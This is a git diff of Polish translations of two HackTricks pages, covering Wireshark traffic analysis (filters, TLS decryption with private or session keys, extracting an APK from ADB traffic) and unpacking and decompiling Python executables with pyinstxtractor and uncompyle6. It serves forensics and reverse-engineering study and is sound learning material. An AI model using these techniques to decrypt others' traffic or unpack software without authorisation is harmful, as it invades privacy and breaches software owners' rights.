<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
|
@ -28,82 +29,82 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
***
|
||||
|
||||
## Doskonalenie umiejętności z Wireshark
|
||||
## Improve your Wireshark skills
|
||||
|
||||
### Tutoriale
|
||||
### Tutorials
|
||||
|
||||
Następujące tutoriale są niesamowite do nauki kilku fajnych podstawowych sztuczek:
|
||||
Następujące samouczki są świetne do nauki kilku fajnych podstawowych trików:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
|
||||
|
||||
### Analizowane informacje
|
||||
### Analysed Information
|
||||
|
||||
**Informacje eksperta**
|
||||
**Expert Information**
|
||||
|
||||
Klikając na _**Analyze** --> **Expert Information**_ otrzymasz **przegląd** tego, co dzieje się w analizowanych pakietach:
|
||||
Klikając na _**Analyze** --> **Expert Information**_ uzyskasz **przegląd** tego, co dzieje się w analizowanych pakietach:
|
||||
|
||||
![](<../../../.gitbook/assets/image (256).png>)
|
||||
|
||||
**Rozwiązane adresy**
|
||||
**Resolved Addresses**
|
||||
|
||||
Pod _**Statistics --> Resolved Addresses**_ znajdziesz kilka **informacji**, które zostały "**rozwiązane**" przez Wireshark, takie jak port/transport do protokołu, MAC do producenta, itp. Interesujące jest poznanie, co jest zaangażowane w komunikacji.
|
||||
Pod _**Statistics --> Resolved Addresses**_ możesz znaleźć kilka **informacji**, które zostały "**rozwiązane**" przez Wireshark, takich jak port/transport do protokołu, MAC do producenta itp. Interesujące jest wiedzieć, co jest zaangażowane w komunikację.
|
||||
|
||||
![](<../../../.gitbook/assets/image (893).png>)
|
||||
|
||||
**Hierarchia protokołów**
|
||||
**Protocol Hierarchy**
|
||||
|
||||
Pod _**Statistics --> Protocol Hierarchy**_ znajdziesz **protokoły** **zaangażowane** w komunikacji oraz dane na ich temat.
|
||||
Pod _**Statistics --> Protocol Hierarchy**_ możesz znaleźć **protokoły** **zaangażowane** w komunikację oraz dane o nich.
|
||||
|
||||
![](<../../../.gitbook/assets/image (586).png>)
|
||||
|
||||
**Konwersacje**
|
||||
**Conversations**
|
||||
|
||||
Pod _**Statistics --> Conversations**_ znajdziesz **podsumowanie konwersacji** w komunikacji oraz dane na ich temat.
|
||||
Pod _**Statistics --> Conversations**_ możesz znaleźć **podsumowanie rozmów** w komunikacji oraz dane o nich.
|
||||
|
||||
![](<../../../.gitbook/assets/image (453).png>)
|
||||
|
||||
**Końcówki**
|
||||
**Endpoints**
|
||||
|
||||
Pod _**Statistics --> Endpoints**_ znajdziesz **podsumowanie końcówek** w komunikacji oraz dane na ich temat.
|
||||
Pod _**Statistics --> Endpoints**_ możesz znaleźć **podsumowanie punktów końcowych** w komunikacji oraz dane o każdym z nich.
|
||||
|
||||
![](<../../../.gitbook/assets/image (896).png>)
|
||||
|
||||
**Informacje DNS**
|
||||
**DNS info**
|
||||
|
||||
Pod _**Statistics --> DNS**_ znajdziesz statystyki dotyczące przechwyconych żądań DNS.
|
||||
Pod _**Statistics --> DNS**_ możesz znaleźć statystyki dotyczące przechwyconego zapytania DNS.
|
||||
|
||||
![](<../../../.gitbook/assets/image (1063).png>)
|
||||
|
||||
**Wykres I/O**
|
||||
**I/O Graph**
|
||||
|
||||
Pod _**Statistics --> I/O Graph**_ znajdziesz **wykres komunikacji**.
|
||||
Pod _**Statistics --> I/O Graph**_ możesz znaleźć **wykres komunikacji.**
|
||||
|
||||
![](<../../../.gitbook/assets/image (992).png>)
|
||||
|
||||
### Filtrowanie
|
||||
### Filters
|
||||
|
||||
Tutaj znajdziesz filtr Wireshark w zależności od protokołu: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Tutaj możesz znaleźć filtry Wireshark w zależności od protokołu: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Inne interesujące filtry:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
* Ruch HTTP i początkowy ruch HTTPS
|
||||
* HTTP i początkowy ruch HTTPS
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||
* Ruch HTTP i początkowy ruch HTTPS + SYN TCP
|
||||
* HTTP i początkowy ruch HTTPS + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||
* Ruch HTTP i początkowy ruch HTTPS + SYN TCP + żądania DNS
|
||||
* HTTP i początkowy ruch HTTPS + TCP SYN + zapytania DNS
|
||||
|
||||
### Wyszukiwanie
|
||||
### Search
|
||||
|
||||
Jeśli chcesz **wyszukać** **treść** w **pakietach** sesji, naciśnij _CTRL+f_. Możesz dodać nowe warstwy do głównego paska informacji (Nr, Czas, Źródło, itp.) naciskając prawym przyciskiem myszy, a następnie edytuj kolumnę.
|
||||
Jeśli chcesz **wyszukiwać** **treść** wewnątrz **pakietów** sesji, naciśnij _CTRL+f_. Możesz dodać nowe warstwy do głównego paska informacji (Nr, Czas, Źródło itp.) naciskając prawy przycisk i następnie edytując kolumnę.
|
||||
|
||||
### Darmowe laboratoria pcap
|
||||
### Free pcap labs
|
||||
|
||||
**Ćwicz z darmowymi wyzwaniami na stronie:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
**Ćwicz z darmowymi wyzwaniami:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
|
||||
## Identyfikacja domen
|
||||
## Identifying Domains
|
||||
|
||||
Możesz dodać kolumnę, która pokazuje nagłówek Host HTTP:
|
||||
|
||||
|
@ -113,44 +114,45 @@ I kolumnę, która dodaje nazwę serwera z inicjującego połączenia HTTPS (**s
|
|||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
## Identyfikacja nazw lokalnych hostów
|
||||
## Identifying local hostnames
|
||||
|
||||
### Z DHCP
|
||||
### From DHCP
|
||||
|
||||
W bieżącym Wiresharku zamiast `bootp` musisz szukać `DHCP`
|
||||
W obecnym Wireshark zamiast `bootp` musisz szukać `DHCP`
|
||||
|
||||
![](<../../../.gitbook/assets/image (1013).png>)
|
||||
|
||||
### Z NBNS
|
||||
### From NBNS
|
||||
|
||||
![](<../../../.gitbook/assets/image (1003).png>)
|
||||
|
||||
## Deszyfrowanie TLS
|
||||
## Decrypting TLS
|
||||
|
||||
### Deszyfrowanie ruchu https za pomocą prywatnego klucza serwera
|
||||
### Decrypting https traffic with server private key
|
||||
|
||||
_edytuj>preferencje>protokół>ssl>_
|
||||
_edit>preference>protocol>ssl>_
|
||||
|
||||
![](<../../../.gitbook/assets/image (1103).png>)
|
||||
|
||||
Naciśnij _Edytuj_ i dodaj wszystkie dane serwera oraz klucza prywatnego (_IP, Port, Protokół, Plik klucza i hasło_)
|
||||
Naciśnij _Edit_ i dodaj wszystkie dane serwera oraz klucz prywatny (_IP, Port, Protokół, Plik klucza i hasło_)
|
||||
|
||||
### Deszyfrowanie ruchu https za pomocą kluczy sesji symetrycznych
|
||||
### Decrypting https traffic with symmetric session keys
|
||||
|
||||
Zarówno Firefox, jak i Chrome mają możliwość rejestrowania kluczy sesji TLS, które można użyć z Wiresharkiem do deszyfrowania ruchu TLS. Pozwala to na dogłębną analizę komunikacji zabezpieczonej. Więcej szczegółów na temat wykonywania tego deszyfrowania można znaleźć w przewodniku na stronie [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
Zarówno Firefox, jak i Chrome mają możliwość rejestrowania kluczy sesji TLS, które można wykorzystać z Wireshark do odszyfrowania ruchu TLS. Umożliwia to szczegółową analizę zabezpieczonej komunikacji. Więcej informacji na temat tego, jak przeprowadzić to odszyfrowanie, można znaleźć w przewodniku na stronie [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
|
||||
Aby to wykryć, wyszukaj w środowisku zmienną `SSLKEYLOGFILE`
|
||||
Aby to wykryć, przeszukaj środowisko pod kątem zmiennej `SSLKEYLOGFILE`
|
||||
|
||||
Plik z kluczami współdzielonymi będzie wyglądał tak:
|
||||
|
||||
![](<../../../.gitbook/assets/image (820).png>)
|
||||
|
||||
Aby zaimportować to do Wiresharka, przejdź do \_edytuj > preferencje > protokół > ssl > i zaimportuj to w (Pre)-Master-Secret log filename:
|
||||
Aby zaimportować to do Wireshark, przejdź do _edit > preference > protocol > ssl > i zaimportuj to w (Pre)-Master-Secret log filename:
|
||||
|
||||
![](<../../../.gitbook/assets/image (989).png>)
|
||||
## Komunikacja ADB
|
||||
|
||||
Wyodrębnij plik APK z komunikacji ADB, w której został wysłany plik APK:
|
||||
## ADB communication
|
||||
|
||||
Wyodrębnij APK z komunikacji ADB, gdzie APK został wysłany:
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
|
@ -181,24 +183,25 @@ f.close()
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **malware kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Dekompilacja skompilowanych plików Python (exe, elf) - Pobranie z pliku .pyc
|
||||
# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Z pliku skompilowanego do .pyc
|
||||
## Z skompilowanego binarnego do .pyc
|
||||
|
||||
Z pliku skompilowanego **ELF** można **uzyskać plik .pyc** za pomocą:
|
||||
Z **ELF** skompilowanego binarnego możesz **uzyskać .pyc** za pomocą:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
|
|||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
W skompilowanym pliku **python exe binary** można **uzyskać plik .pyc**, uruchamiając:
|
||||
W skompilowanym **python exe binary** możesz **uzyskać .pyc** uruchamiając:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Z pliku .pyc do kodu Pythona
|
||||
## From .pyc to python code
|
||||
|
||||
Dla danych w formacie **.pyc** ("skompilowany" kod Pythona) należy rozpocząć próbę **wyodrębnienia** **oryginalnego** **kodu Pythona**:
|
||||
Dla danych **.pyc** ("skompilowany" python) powinieneś zacząć próbować **wyodrębnić** **oryginalny** **kod** **python**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Upewnij się**, że plik binarny ma **rozszerzenie** "**.pyc**" (jeśli nie, uncompyle6 nie będzie działać)
|
||||
**Upewnij się**, że plik binarny ma **rozszerzenie** "**.pyc**" (jeśli nie, uncompyle6 nie zadziała)
|
||||
|
||||
Podczas wykonywania **uncompyle6** możesz napotkać **następujące błędy**:
|
||||
|
||||
### Błąd: Nieznany numer magiczny 227
|
||||
### Błąd: Nieznana liczba magiczna 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Aby to naprawić, musisz **dodać poprawny numer magiczny** na początku wygenerowanego pliku.
|
||||
Aby to naprawić, musisz **dodać odpowiedni magic number** na początku wygenerowanego pliku.
|
||||
|
||||
**Numery magiczne różnią się w zależności od wersji Pythona**, aby uzyskać numer magiczny **Pythona 3.8**, musisz **otworzyć terminal Pythona 3.8** i wykonać:
|
||||
**Magic number różni się w zależności od wersji pythona**, aby uzyskać magic number dla **python 3.8**, musisz **otworzyć terminal python 3.8** i wykonać:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
W tym przypadku **numer magiczny** dla pythona 3.8 to **`0x550d0d0a`**, następnie, aby naprawić ten błąd, musisz **dodać** na **początku pliku .pyc** następujące bajty: `0x0d550a0d000000000000000000000000`
|
||||
Liczba **magiczna** w tym przypadku dla python3.8 to **`0x550d0d0a`**, następnie, aby naprawić ten błąd, musisz **dodać** na **początku** **.pyc file** następujące bajty: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Po** dodaniu tego magicznego nagłówka, **błąd powinien zostać naprawiony.**
|
||||
**Gdy** dodasz ten nagłówek magiczny, **błąd powinien być naprawiony.**
|
||||
|
||||
Tak będzie wyglądał poprawnie dodany **nagłówek magiczny .pyc pythona 3.8**:
|
||||
Tak będzie wyglądał poprawnie dodany **.pyc python3.8 magic header**:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
|
|||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Błąd: Dekompilacja ogólnych błędów
|
||||
### Błąd: Dekompilacja błędów ogólnych
|
||||
|
||||
**Inne błędy** takie jak: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogą się pojawić.
|
||||
**Inne błędy** takie jak: `class 'AssertionError'>; co_code powinien być jednym z typów (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); jest typu <class 'NoneType'>` mogą się pojawić.
|
||||
|
||||
Oznacza to prawdopodobnie, że **nie dodałeś poprawnie** numeru magicznego lub **nie użyłeś** **poprawnego numeru magicznego**, więc upewnij się, że używasz właściwego (lub spróbuj nowego).
|
||||
To prawdopodobnie oznacza, że **nie dodałeś poprawnie** magicznego numeru lub że **nie użyłeś** **poprawnego magicznego numeru**, więc **upewnij się, że używasz poprawnego** (lub spróbuj nowego).
|
||||
|
||||
Sprawdź dokumentację dotyczącą poprzedniego błędu.
|
||||
Sprawdź dokumentację wcześniejszych błędów.
|
||||
|
||||
## Narzędzie automatyczne
|
||||
|
||||
[**Narzędzie python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) służy jako kombinacja kilku narzędzi dostępnych w społeczności, przeznaczonych do pomocy badaczom w rozpakowywaniu i dekompilowaniu plików wykonywalnych napisanych w Pythonie, w szczególności tych utworzonych za pomocą py2exe i pyinstaller. Zawiera reguły YARA do identyfikacji, czy plik wykonywalny jest oparty na Pythonie, oraz potwierdza narzędzie tworzenia.
|
||||
Narzędzie [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) służy jako połączenie kilku dostępnych w społeczności narzędzi zaprojektowanych w celu pomocy badaczom w rozpakowywaniu i dekompilacji plików wykonywalnych napisanych w Pythonie, szczególnie tych stworzonych za pomocą py2exe i pyinstaller. Zawiera zasady YARA do identyfikacji, czy plik wykonywalny jest oparty na Pythonie i potwierdza narzędzie do jego stworzenia.
|
||||
|
||||
### ImportError: Nazwa pliku: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' nie istnieje
|
||||
|
||||
Częstym problemem napotykanym podczas procesu rozpakowywania za pomocą unpy2exe lub pyinstxtractor jest niekompletny plik bajtowy Pythona, co skutkuje **nieuznaniem go przez uncompyle6 z powodu braku numeru wersji bajtów Pythona**. Aby temu zaradzić, dodano opcję prepend, która dodaje niezbędny numer wersji bajtów Pythona, ułatwiając proces dekompilacji.
|
||||
Powszechnym problemem jest niekompletny plik bajtowy Pythona wynikający z **procesu rozpakowywania za pomocą unpy2exe lub pyinstxtractor**, który następnie **nie jest rozpoznawany przez uncompyle6 z powodu brakującego numeru wersji bajtowego Pythona**. Aby to naprawić, dodano opcję prepend, która dołącza niezbędny numer wersji bajtowego Pythona, ułatwiając proces dekompilacji.
|
||||
|
||||
Przykład problemu:
|
||||
```python
|
||||
|
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Analiza asemblera Pythona
|
||||
## Analiza assemblera Pythona
|
||||
|
||||
Jeśli nie udało ci się wydobyć "oryginalnego" kodu Pythona, postępuj zgodnie z poprzednimi krokami, a następnie spróbuj **wydobyć** **asembler** (jednak **nie jest on zbyt opisowy**, więc spróbuj ponownie wydobyć **oryginalny kod**). W [tutaj](https://bits.theorem.co/protecting-a-python-codebase/) znalazłem bardzo prosty kod do **dysasemblacji** pliku _.pyc_ (powodzenia z zrozumieniem przepływu kodu). Jeśli plik _.pyc_ pochodzi z Pythona 2, użyj Pythona 2:
|
||||
Jeśli nie udało Ci się wyodrębnić "oryginalnego" kodu Pythona, postępując zgodnie z poprzednimi krokami, możesz spróbować **wyodrębnić** **assembler** (ale **nie jest to zbyt opisowe**, więc **spróbuj** ponownie wyodrębnić **oryginalny** kod). W [tutaj](https://bits.theorem.co/protecting-a-python-codebase/) znalazłem bardzo prosty kod do **deasemblacji** binarnego pliku _.pyc_ (powodzenia w zrozumieniu przepływu kodu). Jeśli _.pyc_ pochodzi z python2, użyj python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -159,15 +160,15 @@ True
|
|||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python do pliku wykonywalnego
|
||||
## Python na Wykonywalny
|
||||
|
||||
Aby rozpocząć, pokażemy Ci, jak ładunki mogą być skompilowane za pomocą py2exe i PyInstaller.
|
||||
Aby zacząć, pokażemy, jak ładunki mogą być kompilowane w py2exe i PyInstaller.
|
||||
|
||||
### Aby utworzyć ładunek za pomocą py2exe:
|
||||
### Aby stworzyć ładunek za pomocą py2exe:
|
||||
|
||||
1. Zainstaluj pakiet py2exe z [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Dla ładunku (w tym przypadku nazwiemy go hello.py), użyj skryptu podobnego do tego z Rysunku 1. Opcja "bundle\_files" z wartością 1 spowoduje, że wszystko, włącznie z interpreterem Pythona, zostanie spakowane w jedno exe.
|
||||
3. Gdy skrypt będzie gotowy, wydamy polecenie "python setup.py py2exe". Spowoduje to utworzenie pliku wykonywalnego, tak jak na Rysunku 2.
|
||||
2. Dla ładunku (w tym przypadku nazwiemy go hello.py), użyj skryptu jak w Rysunku 1. Opcja “bundle\_files” z wartością 1 połączy wszystko, w tym interpreter Pythona, w jeden plik exe.
|
||||
3. Gdy skrypt będzie gotowy, wydamy polecenie “python setup.py py2exe”. To stworzy plik wykonywalny, tak jak na Rysunku 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
@ -195,10 +196,10 @@ running py2exe
|
|||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Aby utworzyć ładunek za pomocą PyInstaller:
|
||||
### Aby stworzyć ładunek za pomocą PyInstaller:
|
||||
|
||||
1. Zainstaluj PyInstaller za pomocą pip (pip install pyinstaller).
|
||||
2. Następnie wydamy polecenie „pyinstaller --onefile hello.py” (przypomnijmy, że „hello.py” to nasz ładunek). Spowoduje to spakowanie wszystkiego w jedno wykonywalne plik.
|
||||
2. Następnie wydamy polecenie “pyinstaller –onefile hello.py” (przypomnienie, że ‘hello.py’ to nasz ładunek). To połączy wszystko w jeden plik wykonywalny.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
